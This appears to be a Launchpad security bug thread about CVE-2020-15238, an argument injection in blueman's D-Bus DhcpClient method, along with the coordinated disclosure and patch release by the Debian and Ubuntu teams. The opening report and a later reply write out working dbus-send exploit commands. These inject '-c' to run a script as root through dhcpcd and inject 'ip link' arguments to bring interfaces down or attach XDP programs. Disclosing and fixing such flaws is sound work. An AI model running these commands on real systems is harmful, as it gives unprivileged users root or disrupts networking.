Argument Injection leads to Local Privilege Escalation

[Vaisha Bernard]

Hi,

The DhcpClient method of the d-bus interface to blueman-mechanism is prone to an argument injection vulnerability. On systems where the isc-dhcp-client package is removed and the dhcpcd package installed, this leads to Local Privilege Escalation to root from any unprivileged user. See attached python script for a working exploit. Or use this oneliner with a shellscript "/tmp/eye":

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

This happens because the argument is not sanitized before being used as an argument to dhcpcd.

Also on default installations with isc-dhcp-client installed, this can lead to DoS attacks by bringing any interface down as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

This both happens because the argument is passed to "ip link" unsanitized.

The fix would be to test if the argument is a valid interface name. But it might also need to check if the user is authorized to alter the given interface. Currently even a call with just the argument "ens33" will allow any unprivileged user to spawn a dhclient process on that interface.

Description: Ubuntu 20.04.1 LTS
Release: 20.04

blueman:
  Installed: 2.1.2-1
  Candidate: 2.1.2-1
  Version table:
 *** 2.1.2-1 500
        500 http://nl.archive.ubuntu.com/ubuntu focal/universe amd64 Packages
        100 /var/lib/dpkg/status

Kind regards,
Vaisha Bernard
EYE Control B.V.

[Avital Ostromich (avital)]

Hello Vaisha,

Thank you for the report!

Have you reported this issue to upstream? If not, we encourage you to
report it and keep us in the loop if possible.

Thank you,
Avital

[Vaisha Bernard (vaisha)]

Hi Avital,

I just submitted the report upstream.
https://github.com/blueman-project/blueman/security/advisories/GHSA-jpc9-mgw6-2xwx

[cschramm (cschramm)]

Upstream and Debian maintainer here. It looks like my email to the Debian security team and this bug neither ended up here nor did anybody from Debian respond yet, so here's the part after explaining what's already documented here:

> In theory, the effect should be rather limited as blueman 2.0.6+ requires Polkit-1 authorization that should be bound to groups like wheel, sudo, or netdev, so possible attackers would more or less have the privileges already (still, users in netdev but not in sudo would gain some privileges, depending on the DHCP client software on the system).
>
> However, (apart from the fact that stretch, xenial, and bionic have older versions) this uncovered a grave packaging bug. The blueman package recommends policykit-1 but blueman does not have such "runtime-optional" Polkit-1 support and as libpolkit-agent-1-dev is not a build dependency Polkit-1 support is always disabled 🤦‍♂️.
>
> We have a private fix for the interface available in https://github.com/blueman-project/blueman/security/advisories/GHSA-jpc9-mgw6-2xwx for 2-1-stable (attached as 2.1.patch; seems to apply fine to all 2.1 versions), master, and backported to 2.0.8 (attached as 2.0.patch; seems to apply nicely to all 2.0 versions).
>
> I propose:
>
> stretch 2.0.4, xenial 2.0.4, bionic 2.0.5, buster 2.0.8: Apply 2.0.patch
> focal 2.1.2: Apply 2.1.patch

> buster 2.0.8 focal 2.1.2: Add libpolkit-agent-1-dev as a build dependency and make policykit-1 a mandatory runtime dependency
>
> bullseye 2.1.3 groovy 2.1.3: I will prepare 2.1.4 with both fixes and would let my sponsor Nobuhiro (CC) upload it to unstable as usual but that will probably reach users only after the security advisory got disclosed or would you prefer a security release for bullseye as well instead?
>
> I think it makes sense to await coordinated security releases for Debian and Ubuntu before we'll apply the fixes upstream, release 2.1.4, and disclose the security advisory. Most other distributions should be good as nobody fucked up Polkit-1 support like I did for the Debian package. 🙈

[Seth Arnold (seth-arnold)]

Hello cschramm, excellent analysis, thanks! Especially, thanks for taking a look at the larger issues to discover the missing polkit support.

The 2.0 patch didn't make it through to Launchpad; could you attach that?

Has GitHub or Debian assigned CVE(s?) for these issues yet?

Does the missing polkit support cause the system to fail open, and allow anyone on the system to manage interfaces?

Because blueman and dhcpcd5 are in universe, we may or may not be providing fixes for this issue. Thus it may not make sense to hold updates for Debian or upstream on our account.

Thanks

[Vaisha Bernard (vaisha)]

Yes, GitHub has assigned CVE-2020-15238.

And yes, it currently fails open so anyone can manage interfaces.

Kind regards,
Vaisha Bernard
EYE Control

[cschramm (cschramm)]

Yes, any package that did not get built with libpolkit-agent-1-dev does not have Polkit-1 support enabled. This is the case for all Debian packages. Unless Ubuntu rebuilt the packages in an environment that has libpolkit-agent-1-dev by sheer luck, they have it disabled as well. You can check the `POLKIT` constant in `usr/lib/python3/dist-packages/blueman/Constants.py` to verify that.

Apart from managing networks and launching DHCP clients, the otherwise authorized actions also include launching PPP daemons and setting rfkill states.

Unfortunately I've still failed to make contact to the Debian security team, so it's open what will happen with stretch and buster. A 2.1.4-1 is on mentors https://mentors.debian.net/package/blueman/ (so this is kinda public now if somebody analyses the changes and draws the right conclusions) and I'm waiting for my sponsor to upload it to unstable from where it should get migrated to testing 2 days later. Feel free to pick it for groovy as well, if that's an option.

If I don't hear anything back from the Debian security team, the plan is to release the upstream patches and version 2.1.4 once it reached Debian testing. I might hold back the security advisory a little longer as I think the state in the stable Debian and Ubuntu releases is pretty bad, but if I cannot reach Debian security or they aren't interested there's not much I can do.

The 2.0 patch is attached now (look like you only add one attachment per post).

[Steve Beattie (sbeattie)]

Hey Christopher, via what mechanisms did you attempt to communicate with the Debian Security Team? We can reach out to them as well, if you think that would be helpful.

[cschramm (cschramm)]

I wrote to <email address hidden> and by now upstream co-maintainer Sander Sweers should have forwarded it again in case my email got filtered somewhere. They usually get back very soon. 🤷

[Emilia Torino (emitorino)]

Hey cschramm, is it there a CRD defined for this issue? Thanks!

[cschramm (cschramm)]

Hi,

it looks like this issue fell into a crack due to heavy load on the
Security team, so I'll just provide the latest information and hope
somebody will look into it soon-ish:

GitHub assigned CVE-2020-15238.

After we did not get any response, I uploaded a 2.1.4-1 to mentors, so
this is kind of disclosed if somebody compares its contents to the
upstream repository and thinks about the observed changes in the context
of a supposed security fix. My sponsor Nobuhiro (CC) did not get back to
me either, though, so this did not get any further than on mentors.

 From the Launchpad bug (CC; might or might not show up there):

> Because blueman and dhcpcd5 are in universe, we may or may not be
> providing fixes for this issue.

> Is there a CRD defined for this issue?

Regards

[Mike Salvatore (mikesalvatore)]

Thanks, cschramm. Is it safe for us to publish our fixes, then? Generally we include the CVE ID and a description of the vulnerability in our changelog and publish on CRD.

Since it doesn't sound like there's an official CRD and the vulnerabilities are semi-public, is there any reason we shouldn't publish our packages at this point? If you're not ready for us to make our packages public, can we set a CRD?

[cschramm (cschramm)]

Hi Moritz,

>> buster 2.0.8 focal 2.1.2: Add libpolkit-agent-1-dev as a build dependency
>> and make policykit-1 a mandatory runtime dependency
>
> Does that need to be accompanied with an additional flag passed to
> the configure script or will it get picked up automatically if
> libpolkit-agent-1-dev present in the build environment?

having that package around on build time is enough. There is a feature
flag but it's enabled by default (but then overridden if pkg-config does
not find the polkit-agent-1 module).

The configuration step will show "Policykit-1 Enabled: yes" at the end
and POLKIT will have a True-ish value in
usr/lib/python3/dist-packages/blueman/Constants.py.

Can we define a CRD for this that I can forward to the Launchpad bug? I
think it makes sense to publish Ubuntu and Debian fixes at the same time
and before or together with the upstream disclosure as it's rather bad
due to the missing Polkit authorization, at least for systems that use
dhcpcd.

Cheers

[cschramm (cschramm)]

22.10.20 23:53 Moritz Muehlenhoff:
> I'll prepare an updated package for buster in the next days.
>
> I doubt Ubuntu will fix this since it's in universe, but fine to pick
> a date some time next week.

It seems like there actually are Ubuntu updates waiting to get released.

If nobody raises objections, I'd pick Tuesday 27th as a CRD.

[cschramm (cschramm)]

> I tried the PoC on a Buster desktop (with isc-dhcp-client) and I'm getting
>
> $ dbus-send --print-reply --system --dest=org.blueman.Mechanism /org/blueman/mechanism org.blueman.Mechanism.DhcpClient string:"enp3s0 down al"
> Error org.freedesktop.DBus.Error.UnknownObject: Method "DhcpClient" with signature "s" on interface "org.blueman.Mechanism" doesn't exist

The interface changed in 2.1. In 2.0.8 the path was /, so

$ dbus-send --print-reply --system --dest=org.blueman.Mechanism /
org.blueman.Mechanism.DhcpClient string:"enp3s0 down al"

should do the trick.

Cheers

[Emilia Torino (emitorino)]

On 23/10/20 10:38, cschramm wrote:
> 22.10.20 23:53 Moritz Muehlenhoff:
>> I'll prepare an updated package for buster in the next days.
>>
>> I doubt Ubuntu will fix this since it's in universe, but fine to pick
>> a date some time next week.
>
>
> It seems like there actually are Ubuntu updates waiting to get released.

That's correct
>
> If nobody raises objections, I'd pick Tuesday 27th as a CRD.
>

Tuesday 27th sounds perfect for the Ubuntu security team. Can you please
also define a time (UTC) so we make sure we release the updates
appropriately?

Thanks!

[cschramm (cschramm)]

23.10.20 20:39 Emilia Torino:
 > On 23/10/20 10:38, cschramm wrote:
 >> It seems like there actually are Ubuntu updates waiting to get released.
 >
 > That's correct

 > Tuesday 27th sounds perfect for the Ubuntu security team. Can you please
 > also define a time (UTC) so we make sure we release the updates
 > appropriately?

I'll pick... 09:00 UTC. 🤷

I'm going to publish upstream
- a GitHub security advisory
- version 2.1.4 with the fix and a reference to the security advisory
- the same fix in master
around that time or a little later.

(Most) other distributions than Debian and Ubuntu (and derivatives) are
not at risk as they use Policykit authorization and rules that allow the
actions only to users that have the desired privileges anyway.

Cheers

[Emilia Torino (emitorino)]

On 23/10/20 16:29, cschramm wrote:
> 23.10.20 20:39 Emilia Torino:
> > On 23/10/20 10:38, cschramm wrote:
> >> It seems like there actually are Ubuntu updates waiting to get released.
> >
> > That's correct
>
> > Tuesday 27th sounds perfect for the Ubuntu security team. Can you please
> > also define a time (UTC) so we make sure we release the updates
> > appropriately?
>
> I'll pick... 09:00 UTC. 🤷
If possible, can we make it 12:00 UTC? It better accommodates with our
time zones.

>
> I'm going to publish upstream
> - a GitHub security advisory
> - version 2.1.4 with the fix and a reference to the security advisory
> - the same fix in master
> around that time or a little later.
>
> (Most) other distributions than Debian and Ubuntu (and derivatives) are
> not at risk as they use Policykit authorization and rules that allow the
> actions only to users that have the desired privileges anyway.
>
> Cheers
>

Thanks!

[cschramm (cschramm)]

26.10.20 14:48 Emilia Torino:
 > On 23/10/20 16:29, cschramm wrote:
 >> 23.10.20 20:39 Emilia Torino:
 >> > Tuesday 27th sounds perfect for the Ubuntu security team. Can
you please
 >> > also define a time (UTC) so we make sure we release the updates
 >> > appropriately?
 >>
 >> I'll pick... 09:00 UTC. 🤷
 > If possible, can we make it 12:00 UTC? It better accommodates with our
 > time zones.

Sure. 12:00 UTC it is.

[Emilia Torino (emitorino)]

The updates have been released. Thank you cschramm for your cooperation and vaisha for reporting this issue.

If other issues are found, please open a new lp bug for us.

Cheers!

[Vaisha Bernard (vaisha)]

Thank you all for your swift response and quick fix, good work!

For anyone interested, I've written a blog about my discovery of this and two other vulnerabilities.

https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html

Cheers :)

[Seth Arnold (seth-arnold)]

Hello Vaisha, very nice writeup, thanks :)